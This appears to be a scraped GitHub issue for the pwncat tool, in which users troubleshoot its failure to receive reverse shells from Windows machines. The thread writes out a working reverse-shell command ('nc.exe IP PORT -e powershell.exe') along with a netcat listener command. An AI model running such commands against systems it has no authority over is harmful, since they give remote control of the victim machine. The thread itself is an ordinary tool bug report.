Unable to establish reverse shell on windows
See original GitHub issueBug Description
I am unsure if this is a bug or it is not supported by pwncat, so I am posting this to clarify and check. I am unable to establish a reverse shell from any windows machine with nc.exe.
pwncat version
Docker pwncat build from git repo
0.4.3
Target System (aka “victim”)
Most windows machine that I have tried. In my own VM that I tested, it was windows 10 Educational version 1903 build 18362.239
Steps to Reproduce
Steps to reproduce the behavior:
- pwncat -lp 4444 -m windows (attacker machine)
- nc.exe IP PORT -e powershell.exe (windows victim)
Expected Behavior
pwncat should be able to establish reverse shell
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Issue Analytics
- State:
- Created 2 years ago
- Comments:13 (8 by maintainers)
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Hi I have tested with a normal netcat shell E.g
nc -lvnp 4444
. And this commandnc.exe IP PORT -e powershell.exe
does connect back to me with a reverse shell.However, pwncat does not connect and still errors out.
Also regarding Windows Defender service, I have tried enabling and disabling windows in both cases pwncat still doesnt want to establish reverse shell.
Not sure if it’s the same issue but got the same error when trying to connect to a windows box. Here is what I’ve used: Listener:
Reverse (powershell base64 encoded from this page):